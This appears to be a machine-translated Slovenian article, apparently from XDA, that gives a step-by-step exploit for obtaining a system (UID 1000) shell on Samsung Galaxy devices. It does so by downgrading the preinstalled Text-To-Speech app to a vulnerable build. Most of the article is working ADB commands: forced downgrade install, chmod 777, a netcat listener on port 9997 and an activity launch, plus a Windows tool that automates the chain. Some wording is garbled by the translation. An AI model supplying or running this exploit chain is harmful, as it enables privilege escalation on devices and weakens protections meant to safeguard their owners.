Kako pridobiti dostop do sistemske lupine na kateri koli napravi Samsung Galaxy

hitre povezave

  • Predpogoji
  • Kako izkoristiti katero koli napravo Samsung Galaxy za dostop do sistemske lupine
  • Preverjanje
  • Zaključek

Vsak prvi ponedeljek v mesecu Google objavi Varnostni bilten za Android. Razkriva vse zmanjšane varnostne ranljivosti v različnih komponentah operacijskega sistema Android kot kot tudi jedro Linuxa in njihove popravke, ki jih predloži Google sam ali druge tretje osebe datum. Veliki proizvajalci originalne opreme, kot je Samsung, imajo svoj pogled na Android, zato se odločijo, da bodo svoje popravke in posodobitve vključili tudi v varnostne posodobitve.

Glede na to je zelo težko poskrbeti za vsako vrzel. Obstaja množica vektorjev napadov in včasih lahko na podlagi tega ustvarite lastno verigo izkoriščanja predhodno znano ranljivost samo zato, ker imate novo metodo za izogibanje eni od varovala. To je točno tisto, kar je višji član XDA K0mraid3 opravil s štiri leta staro ranljivostjo, ki mu je omogočila dostop do sistemske lupine na vsaki napravi Samsung Galaxy – vključno z najnovejšimi vodilnimi – tam zunaj. Čeprav ni isto kot

s korenskimi pravicami, je dovolj visoka stopnja lokalnih privilegijev.

Primarna vstopna točka ranljivosti je znotraj Samsung Text-To-Speech (ime paketa: com.samsung. SMT), prednaložena sistemska aplikacija, ki jo lahko najdete na vsaki napravi Samsung Galaxy. Ideja je znižati nameščeno različico aplikacije na določeno ranljivo gradnjo (v3.0.02.2 če smo natančni), nato pa ga prisili, da naloži knjižnico, ki nato odpre lupino s sistemskimi pravicami (UID 1000).

Če želite izvedeti več o izkoriščanju, se prepričajte, da preverite Razlaga vodilnega tehničnega urednika XDA Adama Conwaya. Govoril je s K0mraid3, da bi razumel celoten obseg tega podviga in kako deluje.

  1. Če ponovim, to ni korenski (UID 0) dostop, vendar je dostop do sistemske lupine dovolj zmogljiv za izvajanje množice sicer omejenih binarnih datotek.
  2. Dokaz koncepta K0mraid3 zahteva pomožni APK, ki ga morate zagnati vsaj enkrat, preden zaženete verigo izkoriščanja.
  3. En uporabniški vmesnik, tj. vgrajene rutine za varčevanje z energijo Samsungove prilagojene preobleke Android so lahko težavne, saj lahko ovirajo komunikacijo med aplikacijo TTS, pomožnim APK-jem in lupino. Zato predlagamo, da za aplikacije predhodno nastavite profil za varčevanje z energijo na »Neomejeno«.

Predpogoji

  1. Prenesite vnaprej prevedeno gradnjo izkoriščanja iz Nit foruma XDA ali uradno GitHub repozitorij s spodnjo povezavo: Izkoriščanje sistemske lupine K0mraid3s
  2. Nekje ekstrahirajte arhiv in našli bi ranljivo različico APK-ja Samsung Text-To-Speech (samsungTTSVULN2.apk), pomožna aplikacija (Komraid3s_POC_Vx.x.apk) in izvršljiva datoteka Windows z imenom systemhell-vx.x.exe.
  3. Prepričajte se, da je najnovejša različica ADB je nameščen v vašem PC/Mac/Chromebook. Prav tako ne pozabite namestite/posodobite gonilnike Samsung USB če ste uporabnik sistema Windows.

Kako izkoristiti katero koli napravo Samsung Galaxy za dostop do sistemske lupine

Ročna metoda

  1. Povežite ciljno napravo Galaxy z računalnikom z vklopljenim odpravljanjem napak USB, se prepričajte, da jo ADB odkrije, nato pa namestite pomočno aplikacijo.
    adb install Komraid3s_POC_Vx.x.apk
    • Kot smo že omenili, odprite aplikacijo za pomoč vsaj enkrat, preden nadaljujete z naslednjim korakom.
  2. Zdaj potisnite ranljivo različico aplikacije Samsung TTS v /data/local/tmp in spremenite njena dovoljenja:
    adb push samsungTTSVULN2.apk /data/local/tmp
    adb shell chmod 777 /data/local/tmp/samsungTTSVULN2.apk
  3. Ponovno zaženite napravo. Takoj, ko ste na začetnem zaslonu, zaženite naslednji ukaz, da zamenjate že nameščeno različico aplikacije Samsung TTS z ranljivo:
    adb shell pm install -r -d -f -g --full --install-reason 3 --enable-rollback /data/local/tmp/samsungTTSVULN2.apk
    • Če gre vse v redu, bi morali na konzoli videti sporočilo »Uspeh«.
  4. Odprite lupino na ciljni napravi tako, da odprete drugo okno terminala in izvedete lupina adb, nato izvedite binarno datoteko Netcat in poslušajte dohodno povezavo na vratih 9997 z naslednjim ukazom:
    adb shell nc -lp 9997
  5. Na tej stopnji moramo izvesti določeno aktivnost aplikacije Samsung TTS, ki nam bo odprla sistemsko lupino.
    • Uporabite aplikacijo tretje osebe, kot je to ustvarite bližnjico do »com.samsung. SMT/.gui. DownloadList«.
    • Za enako lahko uporabite tudi Androidov lastni upravitelj dejavnosti (am). V tem primeru ga lahko izvedete prek ADB (adb shell am start -n com.samsung. SMT/.gui. DownloadList) ali uporabite aplikacijo terminalskega emulatorja v telefonu/tablici, kot je Termux, in zaženite naslednji ukaz:
      am start -n com.samsung.SMT/.gui.DownloadList
  6. Preklopite nazaj na prvo lupino in videli bi nov poziv s sistemskimi (UID 1000) privilegiji.

Avtomatizirana metoda

Za lažjo uporabo K0mraid3 ponuja tudi aplikacijo GUI, ki je enostavna za uporabo, za avtomatizacijo večine opravil. Ne pozabite, da je aplikacija GUI samo za Windows, zato je bolje, da se držite ročne metode, če uporabljate Linux/macOS.

  1. Povežite ciljno napravo Galaxy z računalnikom z vklopljenim odpravljanjem napak USB, se prepričajte, da jo ADB odkrije, nato pa namestite pomočno aplikacijo.
    adb install Komraid3s_POC_Vx.x.apk
    • Kot smo že omenili, odprite aplikacijo za pomoč vsaj enkrat, preden nadaljujete z naslednjim korakom.
  2. Ko ADB odkrije ciljno napravo, zaženite systemshell-vx.x.exe na gostiteljskem računalniku.
  3. Kliknite na gumb “ZAČNI LUPINO”. Aplikacija bo samodejno znižala različico aplikacije Samsung TTS in poskusila odpreti sistemsko lupino.
    • V telefonu/tabličnem računalniku boste morda videli aplikacijo TTS, ki vas poziva, da prenesete nekaj glasovnih podatkov. Ni potrebe po interakciji s temi možnostmi, saj nimajo nobene zveze z izkoriščanjem.
    • Če aplikacija čez nekaj časa prekine ali ne odpre okna lupine, ga zaprite, znova zaženite ciljno napravo Galaxy in začnite znova.
    • Aplikacija Galaxy Store lahko samodejno posodobi in/ali ponastavi profil varčevanja z energijo aplikacije TTS v ozadju, zato ga preverite, preden začnete postopek od začetka.

Preverjanje

Ko imate dostop do lupine, lahko preverite raven privilegijev z enim od spodnjih ukazov:

  • whoami
    • Izhod mora biti "sistem"
  • id -u
    • Izhod mora biti "1000"

Zaključek

Tipičen način za pridobitev korenskega dostopa v napravi Android je, da najprej odklenete zagonski nalagalnik, ki vam omogoča zagon binarnih datotek tretjih oseb. Ker Androidov varnostni model v bistvu razpade z rootom, ta korak namerno onemogoči eno od ključnih varnostnih funkcij v napravi, ki zato mora uporabnik izrecno dovoliti, da se to zgodi tako, da običajno omogoči preklop v možnostih za razvijalce in nato izda ukaz za odklepanje zagonski nalagalnik. Ko je zagonski nalagalnik odklenjen, lahko uporabnik v sistem uvede dvojiško datoteko superuporabnika in tudi aplikacijo za upravljanje superuporabnika (kot je Magisk), da nadzoruje, kateri procesi imajo dostop do korena.

Z zgoraj omenjenim izkoriščanjem sistemske lupine pa uporabniku ni treba odkleniti zagonskega nalagalnika, da bi pridobil povečan privilegij. Čeprav še zdaleč ni root, je "sistemski" uporabnik dovolj sposoben dostopati do številnih nizkonivojskih particij (kot kot /efs), zaženite različna storitvena orodja in orodja za razhroščevanje ter spremenite številne zaščitene vrednosti prop - vse brez sprožitve Knox. Ti primeri se dotikajo le nekaj načinov; zlonamerni akter lahko to združi z drugimi ranljivostmi in se domisli še bolj nečednih dejanj.

Morali bomo počakati in videti, kako se bosta Google in Samsung lotila tega scenarija. V vsakem primeru bi morali zaenkrat verjetno onemogočiti ali odstraniti aplikacijo Samsung Text-To-Speech.